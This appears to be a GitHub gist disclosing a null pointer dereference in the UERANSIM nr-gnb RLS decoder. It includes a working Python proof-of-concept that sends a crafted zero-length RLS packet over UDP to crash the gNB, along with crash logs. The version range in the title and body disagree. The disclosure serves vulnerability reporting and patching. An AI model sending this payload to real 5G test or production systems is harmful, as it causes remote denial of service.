Skip to content

Instantly share code, notes, and snippets.

@centauruszzz
Last active August 6, 2026 12:31
Show Gist options
  • Select an option

  • Save centauruszzz/c16cc8635637decd413394d602d0a858 to your computer and use it in GitHub Desktop.

Select an option

Save centauruszzz/c16cc8635637decd413394d602d0a858 to your computer and use it in GitHub Desktop.
Null Pointer Dereference in UERANSIM nr-gnb ≤ 3.0.0

Affected Version: UERANSIM ≤ 3.3.0

Vendor: UERANSIM

Vulnerability Files:

  • src/lib/rls/rls_pdu.cpp

Description:

The RLS decoding layer of nr-gnb lacks a non-empty check (in DecodeRlsMessage function in rls_pdu.cpp), it only verifies that pduLength <= 16384 and remainingSize > 0. As a result, it accepts the message and produces an empty OctetString of length 0. The upper GTP Layer performs a read at address 0x0, resulting in a SIGSEGV(signal 11).The attacker can launch a remote Denial-of-Service attack to nr-gnb using malformed RLS message.

Proof of Concept:

i) Build and setup UERANSIM following the installation guide from the wiki (https://github.com/aligungr/UERANSIM/wiki/Installation).

ii) Execute the following python script.

import socket
import time

GNB_HOST = '127.0.0.1'
GNB_PORT = 4997

def poc(ip, port):
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    rls_heartbeat=bytes.fromhex('0303030004027248628e7e8e71000000000000000000000000')

    rls_packet1=b'\x03'
    rls_version = b'\x03\x03\x00'
    rls_msgType=b'\x06'
    rls_sti = b'\x02\x72\x48\x62\x8e\x7e\x8e\x71'
    rls_pduType = b'\x02'
    rls_pduID = b'\x72\x48\x62\x8e'
    rls_pduSessionID = b'\x7e\x8e\x71\x01'

    # PDU Length = 0
    rls_pduLength = b'\x00\x00\x00\x00'

    #rls_packet1=bytes.fromhex('0303030006027248628e7e8e71027248628e7e8e71010000000000000007000000183a0abf002b96881727929636220b881727929636220b082de529bd3b')
    rls_packet1+=rls_version
    rls_packet1+=rls_msgType
    rls_packet1+=rls_sti
    rls_packet1+=rls_pduType
    rls_packet1+=rls_pduID
    rls_packet1+=rls_pduSessionID
    rls_packet1+=rls_pduLength

    try:
        udp_socket.sendto(rls_heartbeat, (ip, port))
        print('RLS heartbeat sent successfully')
        time.sleep(1)
        udp_socket.sendto(rls_packet1, (ip, port))
        print('RLS Packet sent successfully')

    except Exception as e:
        print('Error:', e)
    finally:
        udp_socket.close()

if __name__ == '__main__':

	poc(GNB_HOST, GNB_PORT)

iii) If successful, the nr-gnb will crash, the output of nr-gnb is like below:

UERANSIM v3.3.0
[2026-08-06 14:56:42.328] [sctp] [info] Trying to establish SCTP connection... (127.0.0.5:38412)
[2026-08-06 14:56:42.343] [sctp] [info] SCTP connection established (127.0.0.5:38412)
[2026-08-06 14:56:42.343] [sctp] [debug] SCTP association setup ascId[874057]
[2026-08-06 14:56:42.345] [ngap] [debug] Sending NG Setup Request
[2026-08-06 14:56:42.373] [ngap] [debug] NG Setup Response received
[2026-08-06 14:56:42.373] [ngap] [info] NG Setup procedure is successful
[2026-08-06 14:56:45.066] [rrc] [debug] UE[1] new signal detected
Segmentation fault
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment